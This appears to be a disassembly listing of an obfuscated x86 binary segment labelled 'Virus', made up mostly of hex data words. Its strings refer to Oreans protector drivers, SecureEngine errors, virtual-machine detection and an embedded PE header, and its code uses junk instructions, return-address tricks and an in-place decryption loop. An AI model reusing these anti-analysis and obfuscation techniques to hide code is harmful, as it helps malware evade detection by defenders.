		dd 0Ch,	0A6D7B5FFh, 95FF071Dh, 71DA6E3h, 0A6D7B5FFh, 95FF071Dh
		dd 71B21A9h, 0C760C361h, 1DA6DB85h, 107h, 0D7858D00h, 50071DA6h
		dd 0A641858Dh, 6850071Dh, 80000002h, 0A6E795FFh, 0C00B071Dh
		dd 0F840Fh, 85C70000h, 71DA6DBh, 0
; ---------------------------------------------------------------------------
		jmp	loc_565D1A
; ---------------------------------------------------------------------------
		push	4
		lea	eax, [ebp+71DA6DBh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+71DA655h]
		push	eax
		push	dword ptr [ebp+71DA6D7h]
		call	dword ptr [ebp+71B20FDh]
		or	eax, eax
		jz	loc_565D04
		mov	dword ptr [ebp+71DA6DBh], 0
		jmp	loc_565D0E
; ---------------------------------------------------------------------------


loc_565D04:				; CODE XREF: Virus___:00565CEFj
		mov	dword ptr [ebp+71DA6DBh], 1


loc_565D0E:				; CODE XREF: Virus___:00565CFFj
		push	dword ptr [ebp+71DA6D7h]
		call	dword ptr [ebp+71B21A9h]


loc_565D1A:				; CODE XREF: Virus___:00565CC8j
		popa
		mov	eax, [ebp+71DA6DBh]
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+71DA6DBh],	eax
		lea	eax, [ebp+71DA6D7h]
		push	eax
		lea	eax, [ebp+71DA641h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+71DA6E7h]
		push	4
		lea	eax, [ebp+71DA6DBh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+71DA655h]
		push	eax
		push	dword ptr [ebp+71DA6D7h]
		call	dword ptr [ebp+71B20FDh]
		cmp	dword ptr [ebp+71B1BD1h], 0
		jz	loc_565D7B
		push	dword ptr [ebp+71DA6D7h]
		call	dword ptr [ebp+71DA6E3h]


loc_565D7B:				; CODE XREF: Virus___:00565D69j
		push	dword ptr [ebp+71DA6D7h]
		call	dword ptr [ebp+71B21A9h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+71DA6DBh],	eax
		lea	eax, [ebp+71DA6D7h]
		push	eax
		lea	eax, [ebp+71DA641h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+71DA6E7h]
		push	4
		lea	eax, [ebp+71DA6DBh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+71DA667h]
		push	eax
		push	dword ptr [ebp+71DA6D7h]
		call	dword ptr [ebp+71B20FDh]
		cmp	dword ptr [ebp+71B1BD1h], 0
		jz	loc_565DE2
		push	dword ptr [ebp+71DA6D7h]
		call	dword ptr [ebp+71DA6E3h]


loc_565DE2:				; CODE XREF: Virus___:00565DD0j
		push	dword ptr [ebp+71DA6D7h]
		call	dword ptr [ebp+71B21A9h]
		popa
		retn
; ---------------------------------------------------------------------------
		dd 1C0585C6h, 6852071Bh, 0ADE47B07h, 0ADB5FFh, 95FF071Bh
		dd 71B0491h, 0A6E78589h, 85C6071Dh, 71B1C05h, 0E56852h
		dd 0B5FF902Eh, 71B00ADh, 49195FFh, 8589071Bh, 71DA6E3h
		dd 1C0585C6h, 6852071Bh, 0B9BF1235h, 0ADB5FFh, 95FF071Bh
		dd 71B0491h, 20FD8589h,	85C6071Bh, 71B1C05h, 10346852h
		dd 0B5FF9878h, 71B00ADh, 49195FFh, 8589071Bh, 71B21A9h
		dd 1C0585C6h, 6852071Bh, 0C005DBD4h, 0ADB5FFh, 95FF071Bh
		dd 71B0491h, 2B958589h,	12E8071Bh, 0DF000000h, 79E85CB3h
		dd 0BA9782D1h, 0F5BB4937h, 7DC7D6A9h, 9E81Fh, 8AB00000h
		dd 9886124Dh, 0E8DED395h, 11h, 3E828E01h, 0EABB987Ch, 54606541h
		dd 0B0842B5Ah, 5A5E5E9Ah, 81C38B66h, 6EAEC2h, 0C78B6600h
		dd 1B8BB9h, 0C3BF0F00h
; ---------------------------------------------------------------------------


loc_565ED8:				; CODE XREF: Virus___:00565F02j
		mov	ebx, [edx]
		mov	eax, 641BAF1Ah
		add	ebx, 0B66F261h
		stc
		sub	ebx, 5EAF79C5h
		add	ebx, 48544D25h
		mov	ah, 25h
		mov	[edx], ebx
		jns	$+6
		sub	edx, 4
		sub	ecx, 1
		jnz	loc_565ED8
; ---------------------------------------------------------------------------
		dd 38A0Fh, 8B660000h, 99E9C6h, 622F0000h, 68636775h, 326B6365h
		dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h
		dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h
		dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh
		dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h
		dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch
		dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h
		dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 1DAE2CBDh
		dd 840F0007h, 0Ah, 1FD585C7h, 1071Bh, 85C60000h, 71B1C05h
		dd 0BF736847h, 3481DA44h, 29D3FE24h, 5DB5FF4Ah,	8D071B22h
		dd 1B3B0C85h, 0FFD0FF07h, 80F88BD0h, 850F223Fh,	22h, 0AE22B047h
		dd 0FFF9850Fh, 3F80FFFFh, 1B840F00h, 47000003h,	0F003F80h
		dd 31184h, 1EE900h, 3F800000h, 3840F00h, 80000003h, 850F203Fh
		dd 6, 6E947h, 0E9470000h, 0FFFFFFE2h, 0F003F80h, 585h
		dd 2E0E900h, 1E90000h, 47000000h, 0F203F80h, 0FFFFF684h
		dd 3F80FFh, 5850Fh, 0C3E90000h,	0E8000002h, 0Ah, 0FFFFCBE9h
		dd 2B4E9FFh, 0B58D0000h, 71DADACh, 225E8h, 41BD0300h, 83071DAEh
		dd 1DAE41BDh, 840F0007h, 0Bh, 1BD185C7h, 1071Bh, 8DC30000h
		dd 1DADB7B5h, 1FCE807h,	0BD030000h, 71DAE41h, 0AE41BD83h
		dd 0F00071Dh, 0B84h, 0D585C700h, 1071B1Fh, 0C3000000h
		dd 0AE30B58Dh, 0D3E8071Dh, 3000001h, 1DAE41BDh,	41BD8307h
		dd 71DAEh, 0B840Fh, 85C70000h, 71B316Dh, 1, 0C1B58DC3h
		dd 0E8071DADh, 1AAh, 0AE41BD03h, 0BD83071Dh, 71DAE41h
		dd 0B840F00h, 0C7000000h, 1B1FD585h, 107h, 0B58DC300h
		dd 71DADCBh, 181E8h, 41BD0300h,	83071DAEh, 1DAE41BDh, 840F0007h
		dd 15h,	1FD585C7h, 1071Bh, 85C70000h, 71B1BD1h,	1, 0D9B58DC3h
		dd 0E8071DADh, 14Eh, 0AE41BD03h, 0BD83071Dh, 71DAE41h
		dd 0A840F00h, 0C7000000h, 1B1EF585h, 107h, 0E3B58D00h
		dd 0E8071DADh, 126h, 0AE41BD03h, 0BD83071Dh, 71DAE41h
		dd 0A840F00h, 0C7000000h, 1B1EF585h, 107h, 0EEB58D00h
		dd 0E8071DADh, 0FEh, 0AE41BD03h, 0BD83071Dh, 71DAE41h
		dd 0A840F00h, 0C7000000h, 1B2A8585h, 107h, 0F4B58D00h
		dd 0E8071DADh, 0D6h, 0AE41BD03h, 0BD83071Dh, 71DAE41h
		dd 0A840F00h, 0C7000000h, 1B032185h, 107h, 0FAB58D00h
		dd 0E8071DADh, 0AEh, 0AE41BD03h, 0BD83071Dh, 71DAE41h
		dd 0A840F00h, 0C7000000h, 1B147D85h, 107h, 8B58D00h, 0E8071DAEh
		dd 86h,	0AE41BD03h, 0BD83071Dh,	71DAE41h, 0A840F00h, 0C7000000h
		dd 1B212985h, 107h, 15B58D00h, 0E8071DAEh, 5Eh,	0AE41BD03h
		dd 0BD83071Dh, 71DAE41h, 0A840F00h, 0C7000000h,	1B1AD585h
		dd 107h, 20B58D00h, 0E8071DAEh,	36h, 0AE41BD03h, 0BD83071Dh
		dd 71DAE41h, 0A840F00h,	0C7000000h, 1B173D85h, 107h, 1E900h
		dd 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h, 0B960C3FFh
		dd 1, 1CE9DE8Bh, 80000000h, 850F003Fh, 5, 0B9h,	38178A00h
		dd 2840F16h, 2B000000h,	804746C9h, 840F003Eh, 8, 850FC90Bh
		dd 0FFFFFFD3h, 840FC90Bh, 21h, 0F003F80h, 984h,	203F8000h
		dd 0A850Fh, 1B90000h, 0E9000000h, 5, 0B9h, 0FC90B00h, 0D84h
		dd 89F32B00h, 1DAE41B5h, 0AE907h, 85C70000h, 71DAE41h
		dd 0
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		dw 0B8h
		dd 0B000000h, 0A840FC0h, 0C7000000h, 1B1EF585h,	7, 0E8C88B00h
		dd 0Ah,	0B23BAF3Ah, 56055AD6h, 840FDA44h, 6, 1B1DB501h
		dd 0E958071Bh, 0Bh, 0EC0A6EEAh,	6157FEF9h, 8160457Ch, 6E47C0h
		dd 8D896000h, 71B0325h,	0ADB52956h, 5A071B11h, 1B69BB61h
		dd 9D090000h, 71B2785h,	0BD89308Bh, 71B28BDh, 3A16EE81h
		dd 870F3E3Bh, 6, 643DC781h, 0F681060Eh,	1F9E5AE1h, 8E9h
		dd 0A7D14400h, 9A2AD8BDh, 0DFC68139h, 2964F3E3h, 1B13158Dh
		dd 8D8B5607h, 71B2BF1h,	8B66008Fh, 4E883F8h, 0B6D8D89h
		dd 0EB81071Bh, 1, 0FFA6850Fh, 0FDB9FFFFh, 0E9233DB6h, 20Eh
		dd 6E614333h, 20746F6Eh, 74697277h, 726F2065h, 736E6165h
		dd 6478762Eh, 614D0D0Ah, 7320656Bh, 20657275h, 74616874h
		dd 69687420h, 69662073h, 6920656Ch, 6F6E2073h, 65622074h
		dd 20676E69h, 64657375h, 20796220h, 746F6E61h, 20726568h
		dd 676F7270h, 2E6D6172h, 68h dup(0)
		dd 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 0EFE90000h, 0C6000000h, 1B1C0585h, 86684707h, 0FFE3E45Bh
		dd 1B225DB5h, 0C858D07h, 0FF071B3Bh, 10468D0h, 9D8D0000h
		dd 71B1951h, 50D0FF53h,	0B47AB58Dh, 0FE8B071Dh,	0FAEC032h
		dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 1C0585C6h
		dd 6843071Bh, 0BC8E6EFCh, 225DB5FFh, 858D071Bh,	71B3B0Ch
		dd 0B58DD0FFh, 71B1951h, 8068006Ah, 6A000000h, 6A006A02h
		dd 6800h, 0FF56C000h, 0C6D88BD0h, 1B1C0585h, 56685707h
		dd 0FFA69BEEh, 1B225DB5h, 0C858D07h, 0FF071B3Bh, 0EDBD8DD0h
		dd 8D071B35h, 1DB5A08Dh, 57006A07h, 37D068h, 0FF535100h
		dd 0FC085D0h, 1B85h, 82B58D00h,	8D071DB2h, 1DA57E85h, 8DD0FF07h
		dd 1B71A58Dh, 0B807h, 0E1FF0000h, 1C0585C6h, 6843071Bh
		dd 0C0764AA7h, 225DB5FFh, 858D071Bh, 71B3B0Ch, 0FF53D0FFh
		dd 0D0B9C3D0h, 0E8000037h, 0
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0Eh
		mov	[eax], ecx
		jmp	loc_566705
; ---------------------------------------------------------------------------
		mov	eax, ebx


loc_566705:				; CODE XREF: Virus___:005666FEj
		jmp	loc_569EDA
; ---------------------------------------------------------------------------
		dw 5A4Dh
		db 90h
		align 2
		dw 3
		dd 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 9C3h dup(0)
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569EDA:				; CODE XREF: Virus___:loc_566705j
		jmp	loc_56AF96
; ---------------------------------------------------------------------------
		db 41h
		dd 50415644h, 2E323349h, 4C4C44h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 43004172h, 74616572h, 72655365h, 65636976h
		dd 74530041h, 53747261h, 69767265h, 416563h, 4E746547h
		dd 76697461h, 73795365h, 496D6574h, 6F666Eh, 6E65704Fh
		dd 76726553h, 41656369h, 6C654400h, 53657465h, 69767265h
		dd 43006563h, 65736F6Ch, 76726553h, 48656369h, 6C646E61h
		dd 6F430065h, 6F72746Eh, 7265536Ch, 65636976h, 8 dup(0)
		dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
		dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32	db 'oreans32',0
a_Oreans32	db '\\.\oreans32',0
a_GlobalOreans3	db '\\.\Global\oreans32',0
aOreansx64	db 'oreansx64',0
a_GlobalOreansx	db '\\.\Global\oreansx64',0
		align 10h
		dd 41h dup(0)
		dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
		dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
		dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
		dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
		dd 736E6165h, 732E3233h, 7379h,	48h dup(0)
		dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
		dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
		dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
		dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
		dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
		dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
		dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
		dd 676F7270h, 2E6D6172h, 59h dup(0)
		dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
		dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
		dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
		dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
		dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
		dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
		dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
		dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
		dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
		dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
		dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
		dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
		dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
		dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
		dd 4F5C7325h, 6E616572h, 78762E73h, 64h, 2 dup(0)
aXprotevent	db 'XprotEvent',0
		align 10h
		dd 0Ah dup(0)
		dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
		dd 6567h, 43000000h, 74616572h,	65764565h, 4120746Eh, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
		dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
		dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
		dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
		dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
		dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
		dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
		dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
		dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
		dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
		dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
		dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
		dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
		dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
		dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
		dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
		dd 10h,	0FF000100h, 17FFEFFh, 1000000h,	4A000000h, 2, 0F000100h
		dd 1040800h, 94h, 5, 1,	0A28h, 2, 76726553h, 20656369h
		dd 6B636150h, 3220h, 1Dh dup(0)
		dd 74666F53h, 65726177h, 6E69575Ch
		db 65h,	0
; ---------------------------------------------------------------------------


loc_56AF96:				; CODE XREF: Virus___:loc_569EDAj
		mov	eax, esp
		jns	loc_56AFA3
		xor	cx, 9035h


loc_56AFA3:				; CODE XREF: Virus___:0056AF98j
		mov	[ebp+71B27FDh],	eax
		pusha
		jmp	loc_56AFB8
; ---------------------------------------------------------------------------
		db 9
; ---------------------------------------------------------------------------
		add	ecx, esp
		push	eax
		pop	edx
		aas
		mov	ah, 0A6h
		push	ss


loc_56AFB8:				; CODE XREF: Virus___:0056AFAAj
		popa
		mov	edi, ecx
		mov	eax, eax
		mov	dx, si
		cmp	dword ptr [ebp+71B1BD1h], 0
		jnz	short loc_56AFD2
		cmp	dword ptr [ebp+71B1FD5h], 0
		jz	short loc_56AFEB


loc_56AFD2:				; CODE XREF: Virus___:0056AFC7j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+71B2A61h],	eax
		lea	ebx, [ebp+71DABB8h]
		call	ebx
		pop	ebx
		pop	eax


loc_56AFEB:				; CODE XREF: Virus___:0056AFD0j
		cmp	dword ptr [ebp+71B1FD5h], 0
		jz	short loc_56B00B
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+71B2A61h],	eax
		lea	ebx, [ebp+71DA8A7h]
		call	ebx
		pop	ebx
		pop	eax


loc_56B00B:				; CODE XREF: Virus___:0056AFF2j
		mov	edx, [ebp+71B34A1h]
		xor	[ebp+71B0A25h],	ecx
		mov	eax, eax
		push	esi
		mov	cx, 9F36h
		pop	ecx
		mov	eax, eax
		jmp	loc_56B036
; ---------------------------------------------------------------------------
		dw 0EA5Bh
		dd 6B026BE1h, 0D5DAF1B5h, 4CFCD986h
		db 0E5h, 7Eh
; ---------------------------------------------------------------------------


loc_56B036:				; CODE XREF: Virus___:0056B021j
		jge	loc_56B042
		mov	edi, [ebp+71B1A9Dh]


loc_56B042:				; CODE XREF: Virus___:loc_56B036j
		cmp	dword ptr [ebp+71B1BD1h], 0
		jnz	short loc_56B054
		cmp	dword ptr [ebp+71B1FD5h], 0
		jz	short loc_56B067


loc_56B054:				; CODE XREF: Virus___:0056B049j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+71DAA5Ah]
		call	ebx
		pop	ebx
		pop	eax


loc_56B067:				; CODE XREF: Virus___:0056B052j
		cmp	dword ptr [ebp+71B1FD5h], 0
		jz	short loc_56B081
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+71DA90Bh]
		call	ebx
		pop	ebx
		pop	eax


loc_56B081:				; CODE XREF: Virus___:0056B06Ej
		mov	[ebp+71B0635h],	esi
		movsx	edx, ax
		mov	eax, eax
		jno	loc_56B098
		or	edx, 13AFE169h


loc_56B098:				; CODE XREF: Virus___:0056B08Cj
		mov	eax, eax
		or	[ebp+71B1845h],	eax
		cmp	dword ptr [ebp+71B1BD1h], 0
		jnz	short loc_56B0B2
		cmp	dword ptr [ebp+71B1FD5h], 0
		jz	short loc_56B0C5


loc_56B0B2:				; CODE XREF: Virus___:0056B0A7j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+71DA98Ch]
		call	ebx
		pop	ebx
		pop	eax


loc_56B0C5:				; CODE XREF: Virus___:0056B0B0j
		cmp	dword ptr [ebp+71B1FD5h], 0
		jz	short loc_56B0DF
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+71DA8D9h]
		call	ebx
		pop	ebx
		pop	eax


loc_56B0DF:				; CODE XREF: Virus___:0056B0CCj
		mov	cl, 50h
		push	0
		push	ecx
		call	sub_56B0EC
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56B0EC	proc near		; CODE XREF: Virus___:0056B0E4p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_56B0EC	endp

; ---------------------------------------------------------------------------
		dd 0A1418EDEh, 8B85CB2Fh, 81C08BD6h, 3D4280C9h,	91BD8922h
		dd 8B071B1Fh, 3860FC0h,	0F000000h, 0BD83C8B7h, 71B1BD1h
		dd 83097500h, 1B1FD5BDh, 13740007h, 0C08B5350h,	0B8h, 0F39D8D00h
		dd 0FF071DA9h, 83585BD3h, 1B1FD5BDh, 11740007h,	0B85350h
		dd 8D000000h, 1DA8F29Dh, 5BD3FF07h, 1ED18058h, 0F9D18166h
		dd 89C08BAAh, 1B2435BDh, 0BAC08B07h, 360444C8h,	9A1BD8Bh
		dd 0BD83071Bh, 71B1BD1h, 83097500h, 1B1FD5BDh, 13740007h
		dd 0C08B5350h, 0B8h, 259D8D00h,	0FF071DA9h, 66585BD3h
		dd 12B9FA8Bh, 0F6850CDh, 0B8Ah,	5850F00h, 66000000h, 4CBCF181h
		dd 8589C08Bh, 71B2BD1h,	0C08B63B5h, 83D2B70Fh, 1B1BD1BDh
		dd 9750007h, 1FD5BD83h,	7400071Bh, 8B535019h, 7D0B8C0h
		dd 85890000h, 71B2A61h,	0ABB89D8Dh, 0D3FF071Dh,	0BD83585Bh
		dd 71B1FD5h, 50177400h,	7D0B853h, 85890000h, 71B2A61h
		dd 0A8A79D8Dh, 0D3FF071Dh, 0BF66585Bh, 6E819A7h, 0A0000000h
		dd 975C901Bh, 9D980A4h,	89C08B59h, 1B11E1B5h, 585C607h
		dd 53071B1Ch, 34998589h, 9068071Bh, 6699395Fh, 0B5FFCE8Bh
		dd 71B225Dh, 3CD28166h,	0C858DE7h, 81071B3Bh, 625922E7h
		dd 11B52940h, 0FF071B26h, 57006AD0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 36BD8D6Fh
		dd 89564A30h, 1B1A8D9Dh, 0D2816607h, 85897C69h,	71B0B71h
		dd 21A5B589h, 85C6071Bh, 71B1C05h, 50006A57h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 686F47F6h
		dd 90045206h, 0E580D58Ah, 5DB5FF8Fh, 66071B22h,	0B5AB10B9h
		dd 0C858DBAh, 0F071B3Bh, 385h, 0CA8B6600h, 8D03D0FFh, 71B2D6Dh
		dd 2F458589h, 0BD89071Bh, 71B0DBDh, 1C0585C6h, 6043071Bh
		dd 0AE8h, 0B10CE100h, 0BF03B48Ah, 8B1A4B35h, 1B329585h
		dd 68615E07h, 0BC907028h, 5A525660h, 0E37EB959h, 0FF610581h
		dd 1B225DB5h, 858DF907h, 71B3B0Ch, 12858D01h, 8D8B071Bh
		dd 71B1A59h, 830FD0FFh,	0
; ---------------------------------------------------------------------------
		mov	[ebp+71B163Dh],	eax
		push	ecx
		jnb	$+6
		pop	ecx
		jg	loc_56B35D
		stc


loc_56B35D:				; CODE XREF: Virus___:0056B356j
		mov	byte ptr [ebp+71B1C05h], 4Ch
		adc	cx, 0E307h
		push	0D9DA1CE9h
		mov	edi, [ebp+71B18A9h]
		push	dword ptr [ebp+71B225Dh]
		jb	loc_56B386
		mov	edi, [ebp+71B2F85h]


loc_56B386:				; CODE XREF: Virus___:0056B37Aj
		lea	eax, [ebp+71B3B0Ch]
		push	eax
		jmp	loc_56B39E
; ---------------------------------------------------------------------------
		dw 5F87h
		dd 5B1FDBCFh, 122C875Eh
		db 0CFh, 74h
; ---------------------------------------------------------------------------


loc_56B39E:				; CODE XREF: Virus___:0056B38Dj
		pop	edx
		call	eax
		push	0
		push	ebp
		call	sub_56B3AC
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56B3AC	proc near		; CODE XREF: Virus___:0056B3A4p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_56B3AC	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebx
		icebp
		test	al, 5Ch
		dec	edi
		pusha
		sahf
		mov	edx, ecx
		mov	[ebp+71B2585h],	esi
		mov	[ebp+71B1299h],	eax
		push	0
		push	ebp
		call	sub_56B3DC
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56B3DC	proc near		; CODE XREF: Virus___:0056B3D4p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_56B3DC	endp

; ---------------------------------------------------------------------------
		dd 1957E6BEh, 1C0585C6h, 0E846071Bh, 0Bh, 11A9F6FEh, 18D2711Fh
		dd 60F6B40Fh, 800Fh, 8A0F0000h,	0
; ---------------------------------------------------------------------------
		popa
		pop	ecx
		push	0BADE0614h
		sub	[ebp+71B0E05h],	esi
		push	dword ptr [ebp+71B225Dh]
		jmp	loc_56B43E
; ---------------------------------------------------------------------------
		dd 7AB626E2h, 0B10326E9h, 0ABB93A57h, 67D87023h
		db 0E2h, 38h
; ---------------------------------------------------------------------------


loc_56B43E:				; CODE XREF: Virus___:0056B427j
		lea	eax, [ebp+71B3B0Ch]
		jnb	loc_56B45C
		call	near ptr loc_56B44F+6


loc_56B44F:				; CODE XREF: Virus___:0056B44Ap
		call	far ptr	89B2h:48E4C6DEh
		mov	ebp, 71B1ABDh
		pop	ecx


loc_56B45C:				; CODE XREF: Virus___:0056B444j
		add	edi, [ebp+71B1EF1h]
		call	eax
		call	sub_56B47A
		add	[esi], ecx
		dec	esp
		jg	short near ptr sub_56B49A+3
		cmp	ds:7F08288Fh, esp
		mov	ecx, esp
		xchg	eax, esp
		or	[ecx+0], edx

; =============== S U B	R O U T	I N E =======================================



sub_56B47A	proc near		; CODE XREF: Virus___:0056B464p
		mov	ecx, edx
		pop	edx
		mov	[ebp+71B2D3Dh],	eax
		pusha
		call	sub_56B49A
		mov	al, 52h
		push	ebx
		sbb	al, 0E0h
		mov	ah, 0A1h
		and	al, 1Bh
		les	edi, [ebx-602CFB9Ah]
		adc	[ecx], ah
sub_56B47A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_56B49A	proc near		; CODE XREF: sub_56B47A+Ap
					; Virus___:0056B46Cj
		xor	[ebp+71B1B39h],	edx
		pop	edx
		sub	[ebp+71B20D1h],	ebx
		popa
		mov	byte ptr [ebp+71B1C05h], 47h
		jnz	loc_56B4B9
		mov	di, 5A7Ah


loc_56B4B9:				; CODE XREF: sub_56B49A+15j
		push	8A0FB5E2h
		mov	[ebp+71B27A1h],	esi
		push	dword ptr [ebp+71B225Dh]
